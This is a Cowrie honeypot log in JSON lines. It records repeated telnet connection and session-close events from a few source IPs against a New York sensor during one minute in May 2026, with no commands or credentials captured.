{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54940,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecea7f23a029","protocol":"telnet","message":"New connection: 50.6.18.72:54940 (159.203.135.109:23) [session: ecea7f23a029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:39.569208Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54944,"dst_ip":"159.203.135.109","dst_port":23,"session":"019698403a25","protocol":"telnet","message":"New connection: 50.6.18.72:54944 (159.203.135.109:23) [session: 019698403a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:39.735554Z"}
{"eventid":"cowrie.session.closed","duration":31.114203691482544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:39.856046Z","src_ip":"50.6.18.72","session":"1dafe974c58d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.955074787139893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:40.117311Z","src_ip":"50.6.18.72","session":"cf285e171fd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51164174079895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:40.688821Z","src_ip":"50.6.18.72","session":"da1f8bab269f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54972,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbe99e025253","protocol":"telnet","message":"New connection: 50.6.18.72:54972 (159.203.135.109:23) [session: dbe99e025253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:40.809387Z"}
{"eventid":"cowrie.session.closed","duration":7.40126895904541,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:40.954320Z","src_ip":"147.182.143.59","session":"48b24f9879e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54956,"dst_ip":"159.203.135.109","dst_port":23,"session":"af6622227b68","protocol":"telnet","message":"New connection: 50.6.18.72:54956 (159.203.135.109:23) [session: af6622227b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:41.639936Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54980,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b89bd8209e5","protocol":"telnet","message":"New connection: 50.6.18.72:54980 (159.203.135.109:23) [session: 4b89bd8209e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:41.891577Z"}
{"eventid":"cowrie.session.closed","duration":46.956398248672485,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:42.566053Z","src_ip":"45.58.127.90","session":"bd859a62f4f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.13380527496338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:42.576933Z","src_ip":"50.6.18.72","session":"78165963c1d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.152198791503906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:43.089875Z","src_ip":"50.6.18.72","session":"99111a5b7f8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55002,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd2ba04bc2f3","protocol":"telnet","message":"New connection: 50.6.18.72:55002 (159.203.135.109:23) [session: bd2ba04bc2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:43.416193Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55014,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ed7e7878a26","protocol":"telnet","message":"New connection: 50.6.18.72:55014 (159.203.135.109:23) [session: 0ed7e7878a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:43.490170Z"}
{"eventid":"cowrie.session.closed","duration":30.68255043029785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:43.617533Z","src_ip":"50.6.18.72","session":"b91866bb7030","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55026,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a51457b2bf4","protocol":"telnet","message":"New connection: 50.6.18.72:55026 (159.203.135.109:23) [session: 2a51457b2bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:43.683998Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55034,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e223bdf03c5","protocol":"telnet","message":"New connection: 50.6.18.72:55034 (159.203.135.109:23) [session: 1e223bdf03c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:43.704490Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54990,"dst_ip":"159.203.135.109","dst_port":23,"session":"cda2e86689c3","protocol":"telnet","message":"New connection: 50.6.18.72:54990 (159.203.135.109:23) [session: cda2e86689c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:44.002661Z"}
{"eventid":"cowrie.session.closed","duration":30.985929250717163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:44.036449Z","src_ip":"50.6.18.72","session":"fcedfb409baa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":55044,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ec213a187fa","protocol":"telnet","message":"New connection: 50.6.18.72:55044 (159.203.135.109:23) [session: 7ec213a187fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:44.539194Z"}
{"eventid":"cowrie.session.closed","duration":31.133259773254395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:44.672496Z","src_ip":"50.6.18.72","session":"6cb34805e53f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48975944519043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:44.818142Z","src_ip":"50.6.18.72","session":"ccaf993d8911","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.643360137939453,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:45.054561Z","src_ip":"147.182.143.59","session":"03c42e62c839","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.356794595718384,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:45.259730Z","src_ip":"50.6.18.72","session":"29cac1c1377d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.123297214508057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:45.440643Z","src_ip":"50.6.18.72","session":"e46b3abfbf5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115971088409424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:45.674288Z","src_ip":"50.6.18.72","session":"9a401342fc68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03038501739502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:45.723056Z","src_ip":"50.6.18.72","session":"35cdc63c79ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1123788356781,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:45.880306Z","src_ip":"50.6.18.72","session":"4d0eec90ef72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.122299671173096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:45.984674Z","src_ip":"50.6.18.72","session":"0eea0f90b496","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.808085918426514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:46.042454Z","src_ip":"50.6.18.72","session":"6176022ad564","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112603902816772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:46.082845Z","src_ip":"50.6.18.72","session":"789a08381fae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":52540,"dst_ip":"159.203.135.109","dst_port":23,"session":"d50929de3ee7","protocol":"telnet","message":"New connection: 50.6.18.72:52540 (159.203.135.109:23) [session: d50929de3ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:46.344049Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47408,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc486977053b","protocol":"telnet","message":"New connection: 45.58.127.90:47408 (10.17.0.5:23) [session: bc486977053b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:46.680868Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":52544,"dst_ip":"159.203.135.109","dst_port":23,"session":"3578ca30e342","protocol":"telnet","message":"New connection: 50.6.18.72:52544 (159.203.135.109:23) [session: 3578ca30e342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:46.718750Z"}
{"eventid":"cowrie.session.closed","duration":31.039889097213745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:46.773259Z","src_ip":"50.6.18.72","session":"0c855f761c2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.307271718978882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:47.069277Z","src_ip":"50.6.18.72","session":"9aad193f9487","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":52558,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ee8530ec2f7","protocol":"telnet","message":"New connection: 50.6.18.72:52558 (159.203.135.109:23) [session: 8ee8530ec2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:47.787835Z"}
{"eventid":"cowrie.session.closed","duration":31.10792303085327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:48.324885Z","src_ip":"50.6.18.72","session":"0dfcb417f3a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":57438,"dst_ip":"159.203.135.109","dst_port":23,"session":"4226c419b8ea","protocol":"telnet","message":"New connection: 147.182.143.59:57438 (159.203.135.109:23) [session: 4226c419b8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:48.588879Z"}
{"eventid":"cowrie.session.closed","duration":30.285603284835815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:48.619082Z","src_ip":"50.6.18.72","session":"e48e64b2c38b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.121156930923462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:48.706215Z","src_ip":"50.6.18.72","session":"8822636b309b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56006932258606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:48.739511Z","src_ip":"50.6.18.72","session":"c0d9dc88836b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47412,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcbbc576accc","protocol":"telnet","message":"New connection: 45.58.127.90:47412 (10.17.0.5:23) [session: dcbbc576accc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:49.049745Z"}
{"eventid":"cowrie.session.closed","duration":40.8017258644104,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:49.061388Z","src_ip":"50.6.18.72","session":"cdbbcf1b1c7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":52586,"dst_ip":"159.203.135.109","dst_port":23,"session":"99697f72540a","protocol":"telnet","message":"New connection: 50.6.18.72:52586 (159.203.135.109:23) [session: 99697f72540a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:49.360114Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":52590,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cf3f504fd49","protocol":"telnet","message":"New connection: 50.6.18.72:52590 (159.203.135.109:23) [session: 8cf3f504fd49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:49.475474Z"}
{"eventid":"cowrie.session.closed","duration":30.93998908996582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:49.528137Z","src_ip":"50.6.18.72","session":"00db23a8f9e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.639018297195435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:49.722528Z","src_ip":"50.6.18.72","session":"df75298b81e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":52598,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b349110fa6a","protocol":"telnet","message":"New connection: 50.6.18.72:52598 (159.203.135.109:23) [session: 9b349110fa6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:49.831131Z"}
{"eventid":"cowrie.session.closed","duration":31.11563491821289,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:50.103010Z","src_ip":"50.6.18.72","session":"18d19784f7de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":52612,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ca7fb9acafe","protocol":"telnet","message":"New connection: 50.6.18.72:52612 (159.203.135.109:23) [session: 3ca7fb9acafe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:50.521037Z"}
{"eventid":"cowrie.session.closed","duration":13.023050785064697,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:52.550102Z","src_ip":"147.182.143.59","session":"62ac4721f660","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112475633621216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:53.040011Z","src_ip":"50.6.18.72","session":"99f4d7e41f56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":52626,"dst_ip":"159.203.135.109","dst_port":23,"session":"44d37f028673","protocol":"telnet","message":"New connection: 50.6.18.72:52626 (159.203.135.109:23) [session: 44d37f028673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:53.157051Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":52608,"dst_ip":"159.203.135.109","dst_port":23,"session":"535db0babb9c","protocol":"telnet","message":"New connection: 50.6.18.72:52608 (159.203.135.109:23) [session: 535db0babb9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:53.542548Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":52628,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdc322f6e0f8","protocol":"telnet","message":"New connection: 50.6.18.72:52628 (159.203.135.109:23) [session: fdc322f6e0f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:53.588528Z"}
{"eventid":"cowrie.session.closed","duration":31.122195959091187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:53.731142Z","src_ip":"50.6.18.72","session":"696ec53fcc6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.630812644958496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:53.736900Z","src_ip":"50.6.18.72","session":"0c51d31186e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.448378562927246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:53.933335Z","src_ip":"50.6.18.72","session":"6b79bcc9b07f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95903515815735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:55.374399Z","src_ip":"50.6.18.72","session":"3fa154fd9c96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14568018913269,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:55.990308Z","src_ip":"50.6.18.72","session":"83972f13ecd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11340618133545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:56.255618Z","src_ip":"50.6.18.72","session":"2bf27a4895e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.294142246246338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:56.579766Z","src_ip":"50.6.18.72","session":"9b24aa6d02a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28877067565918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:56.610697Z","src_ip":"50.6.18.72","session":"e9b43c98e6e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08931255340576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:56.788701Z","src_ip":"50.6.18.72","session":"2662be95ac66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71579122543335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:56.959774Z","src_ip":"50.6.18.72","session":"8581da5ac266","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":52310,"dst_ip":"159.203.135.109","dst_port":23,"session":"6308889bf06f","protocol":"telnet","message":"New connection: 50.6.18.72:52310 (159.203.135.109:23) [session: 6308889bf06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:57.190342Z"}
{"eventid":"cowrie.session.closed","duration":31.103650331497192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:57.644897Z","src_ip":"50.6.18.72","session":"9a2d2f41937e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.756173610687256,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:57.703023Z","src_ip":"50.6.18.72","session":"c80763e9dc19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":52314,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fefdb015a7d","protocol":"telnet","message":"New connection: 50.6.18.72:52314 (159.203.135.109:23) [session: 1fefdb015a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:58.411144Z"}
{"eventid":"cowrie.session.closed","duration":30.78166151046753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:58.696903Z","src_ip":"50.6.18.72","session":"2c48c0c67fa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":52316,"dst_ip":"159.203.135.109","dst_port":23,"session":"866bb0819ca2","protocol":"telnet","message":"New connection: 50.6.18.72:52316 (159.203.135.109:23) [session: 866bb0819ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:59.394279Z"}
{"eventid":"cowrie.session.closed","duration":32.16865038871765,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:59.437785Z","src_ip":"50.6.18.72","session":"db3678caa457","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.567445278167725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:59.564263Z","src_ip":"50.6.18.72","session":"c5b1ee77d179","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":52330,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7a466c87065","protocol":"telnet","message":"New connection: 50.6.18.72:52330 (159.203.135.109:23) [session: d7a466c87065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:00.745833Z"}
{"eventid":"cowrie.session.closed","duration":30.986232042312622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:00.789001Z","src_ip":"50.6.18.72","session":"1a9a9b993c75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12164068222046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:00.942225Z","src_ip":"50.6.18.72","session":"cb46bbe6af9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.155407190322876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:01.064318Z","src_ip":"50.6.18.72","session":"a5571b0a9fe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.510165214538574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:01.744604Z","src_ip":"50.6.18.72","session":"4a1132c99260","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85638427734375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:02.690413Z","src_ip":"50.6.18.72","session":"56cc18d70c7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112776041030884,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:03.412739Z","src_ip":"50.6.18.72","session":"7ce2bd874047","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":52340,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec60d0a1eda3","protocol":"telnet","message":"New connection: 50.6.18.72:52340 (159.203.135.109:23) [session: ec60d0a1eda3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:03.996504Z"}
{"eventid":"cowrie.session.closed","duration":30.75304365158081,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:04.584975Z","src_ip":"50.6.18.72","session":"ce60dfd7604b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":52352,"dst_ip":"159.203.135.109","dst_port":23,"session":"8252aadb37db","protocol":"telnet","message":"New connection: 50.6.18.72:52352 (159.203.135.109:23) [session: 8252aadb37db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:05.057369Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":52572,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c021b109d7f","protocol":"telnet","message":"New connection: 50.6.18.72:52572 (159.203.135.109:23) [session: 0c021b109d7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:30:05.313840Z"}
